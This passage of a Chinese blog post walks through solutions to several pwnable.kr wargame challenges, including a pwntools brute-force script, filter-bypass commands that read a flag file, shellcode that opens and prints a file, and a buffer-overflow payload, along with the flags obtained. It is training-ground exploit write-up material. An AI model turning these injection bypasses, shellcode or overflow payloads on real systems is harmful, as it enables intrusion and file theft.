    				break;
    		}
    	}
    	return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96

    游戏要求6个字节, 并将其与范围[1-45]内的6个随机字节进行比较, 如果匹配数是6, 则获胜
    仔细看代码发现程序将每个随机字节与所有6个输入字节进行比较, 所以如果只有一个匹配, 则获胜, 所以可以将输入6个相同的字符(在范围[1-45]), 并赌有一个匹配

    payload

    from pwn import *
    
    sh = ssh('lotto', 'pwnable.kr', ='', port=2222)
    p = sh.process('./lotto')
    # context.log_level = 'debug'
    
    while True:
    	p.sendlineafter(b'3. Exit\n', b'1')
    	p.recv()
    	p.sendline(b'------')
    	_, ans = p.recvlines(2)
    	if b'bad' not in ans:
    		print(ans)
    		break
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    cmd1

    题目描述

    Mommy! what is PATH environment in Linux?

    ssh cmd1@pwnable.kr -p2222 ()

    #include 
    #include 
    
    int filter(char* cmd){
    	int r=0;
    	r += strstr(cmd, "flag")!=0;
    	r += strstr(cmd, "sh")!=0;
    	r += strstr(cmd, "tmp")!=0;
    	return r;
    }
    int main(int argc, char* argv[], char** envp){
    	putenv("PATH=/thankyouverymuch");
    	if(filter(argv[1])) return 0;
    	system( argv[1] );
    	return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    ./cmd1 '/bin/cat fla*'
    
    • 1
    cmd2

    过滤掉/,切换到根目录下使用$(pwd)来制作/

    /home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fla*'
    
    • 1
    uaf

    题目描述

    Mommy, what is Use After Free bug?

    ssh uaf@pwnable.kr -p2222 ()

    知识点

    其实简单来说就是因为分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。

    一旦一个类有虚函数,编译器会为这个类建立一张vtable。子类继承父类vtable中所有项,当子类有同名函数时,修改vtable同名函数地址,改为指向子类的函数地址,子类有新的虚函数时,在vtable中添加。

    vptr每个对象都会有一个,而vptable是每个类有一个

    vptr指向vtable

    一个类中就算有多个虚函数,也只有一个vptr

    做多重继承的时候,继承了多个父类,就会有多个vptr

    只要用shellcode的地址覆盖其中一个函数指针,就能够达成执行任意指令

    可以看到,程序给每个对象分配了0x18即24个字节。

    参考链接

    https://blog.csdn.net/qq_20307987/article/details/51511230
    https://www.cnblogs.com/bizhu/archive/2012/09/25/2701691.html
    
    • 1
    • 2
    blukat
    blukat@pwnable:~$ id
    uid=1104(blukat) gid=1104(blukat) groups=1104(blukat),1105(blukat_pwn)
    blukat@pwnable:~$ ls -l
    total 20
    -r-xr-sr-x 1 root blukat_pwn 9144 Aug  8  2018 blukat
    -rw-r--r-- 1 root root        645 Aug  8  2018 blukat.c
    -rw-r----- 1 root blukat_pwn   33 Jan  6  2017 password
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    blukat用户属组有blukat_pwn,可以读取blukat_pwn组的password文件

    blukat@pwnable:~$ cat password
    cat: password: Permission denied
    blukat@pwnable:~$ ./blukat
    guess the password!
    cat: password: Permission denied
    congrats! here is your flag: Pl3as_DonT_Miss_youR_GrouP_Perm!!
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    memcpy

    xmm0是SSE的128位寄存器

    movdqa 移动对其16字节边界

    movntps 对应源操作数为XMM,则目的内存为128比特内存位置。内存必须16字节对齐,否则会生成一个 general-protection 异常。

    感觉思路应该是这样的,dst变量是malloc出来的,当malloc申请的空间大于64字节时,会申请chunk,而chunk的结构是前面有16个字节的数据,然后跟申请的data大小的空间,然后跟4字节的其他数据,要做到16字节对齐,地址最低4位必须是0,也就是chunk的大小要是8字节的整数倍。

    ➜  ~ nc pwnable.kr 9022
    Hey, I have a boring assignment for CS class.. :(
    The assignment is simple.
    -----------------------------------------------------
    - What is the best implementation of memcpy?        -
    - 1. implement your own slow/fast version of memcpy -
    - 2. compare them with various size of data         -
    - 3. conclude your experiment and submit report     -
    -----------------------------------------------------
    This time, just help me out with my experiment and get flag
    No fancy hacking, I promise :D
    specify the memcpy amount between 8 ~ 16 : 8
    specify the memcpy amount between 16 ~ 32 : 16
    specify the memcpy amount between 32 ~ 64 : 32
    specify the memcpy amount between 64 ~ 128 : 72
    specify the memcpy amount between 128 ~ 256 : 136
    specify the memcpy amount between 256 ~ 512 : 264
    specify the memcpy amount between 512 ~ 1024 : 520
    specify the memcpy amount between 1024 ~ 2048 : 1032
    specify the memcpy amount between 2048 ~ 4096 : 2056
    specify the memcpy amount between 4096 ~ 8192 : 4104
    ok, lets run the experiment with your configuration
    experiment 1 : memcpy with buffer size 8
    ellapsed CPU cycles for slow_memcpy : 2271
    ellapsed CPU cycles for fast_memcpy : 357
     
    experiment 2 : memcpy with buffer size 16
    ellapsed CPU cycles for slow_memcpy : 309
    ellapsed CPU cycles for fast_memcpy : 303
     
    experiment 3 : memcpy with buffer size 32
    ellapsed CPU cycles for slow_memcpy : 519
    ellapsed CPU cycles for fast_memcpy : 504
     
    experiment 4 : memcpy with buffer size 72
    ellapsed CPU cycles for slow_memcpy : 1056
    ellapsed CPU cycles for fast_memcpy : 240
     
    experiment 5 : memcpy with buffer size 136
    ellapsed CPU cycles for slow_memcpy : 1917
    ellapsed CPU cycles for fast_memcpy : 267
     
    experiment 6 : memcpy with buffer size 264
    ellapsed CPU cycles for slow_memcpy : 3621
    ellapsed CPU cycles for fast_memcpy : 270
     
    experiment 7 : memcpy with buffer size 520
    ellapsed CPU cycles for slow_memcpy : 7194
    ellapsed CPU cycles for fast_memcpy : 336
     
    experiment 8 : memcpy with buffer size 1032
    ellapsed CPU cycles for slow_memcpy : 13878
    ellapsed CPU cycles for fast_memcpy : 474
     
    experiment 9 : memcpy with buffer size 2056
    ellapsed CPU cycles for slow_memcpy : 27573
    ellapsed CPU cycles for fast_memcpy : 846
     
    experiment 10 : memcpy with buffer size 4104
    ellapsed CPU cycles for slow_memcpy : 59736
    ellapsed CPU cycles for fast_memcpy : 1638
     
    thanks for helping my experiment!
    flag : 1_w4nn4_br34K_th3_m3m0ry_4lignm3nt
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64

    参考链接

    https://blog.csdn.net/pwd_3/article/details/78088583
    https://blog.csdn.net/think_ycx/article/details/83053410
    
    • 1
    • 2
    asm

    参考链接https://blog.csdn.net/Jason_ZhouYetao/article/details/81169316

    #!/user/bin/python
    from pwn import *
     
    con = ssh(host='pwnable.kr', user='asm', , port=2222)
    p = con.connect_remote('localhost', 9026)
    context(arch='amd64', os='linux')
     
    shellcode = ""
    shellcode += shellcraft.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
    shellcode += shellcraft.read('rax', 'rsp', 100)
    shellcode += shellcraft.write(1, 'rsp', 100)
     
    print(p.recv())
    p.send(asm(shellcode))
    print(p.recvline())
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    shellcraft.read函数默认读入的buffer参数就是rsp

    unlink

    跳过,待更

    horcruxes
    from pwn import *
    context.log_level = 'debug'
    elf = ELF('./horcruxes')
    io = remote('pwnable.kr', 9032)
    payload = flat(b'a'*(0x74+4), p32(elf.symbols['A']), p32(elf.symbols['B']), p32(elf.symbols['C']), p32(elf.symbols['D']), p32(elf.symbols['E']), p32(elf.symbols['F']), p32(elf.symbols['G']), p32(0x0809FFFC))
    io.recv()
    io.sendline(b'1')
    io.recv()
    io.sendline(payload)
    
    res = 0
    for i in range(7):
        io.recvuntil('EXP +')
        res += int((io.recvline()[:-2]).decode())
    io.recv()
    io.sendline(b'1')
    io.sendline(str(res).encode())
    io.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    参考链接

    https://blog.csdn.net/r250414958/article/details/105455891
    https://blog.csdn.net/fastergohome/article/details/103855101
    
    • 1
    • 2
  • 相关阅读:
    JavaScript基础(4)_强制类型转换
    羧基化稀土荧光微球/稀土掺杂二氧化硅荧光微球/水性稀土配合物复合微球荧光油墨应用
    2022-08-26 第二小组 张明旭 前端学习记录
    docker安装 akshare
    【Prometheus】监控Kubernetes
    Python文件高阶操作:复制、删除、移动、压缩文件夹
    芯片产业管理和营销指北(1)—— 产品线经理主要职能
    哈希表专项练习 LeetCode
    VMware 虚拟化整体方案替代:一举实现架构信创 + 云化转型
    Spring Boot快速入门:构建简单的Web应用
  • 原文地址:https://blog.csdn.net/weixin_42172261/article/details/126818486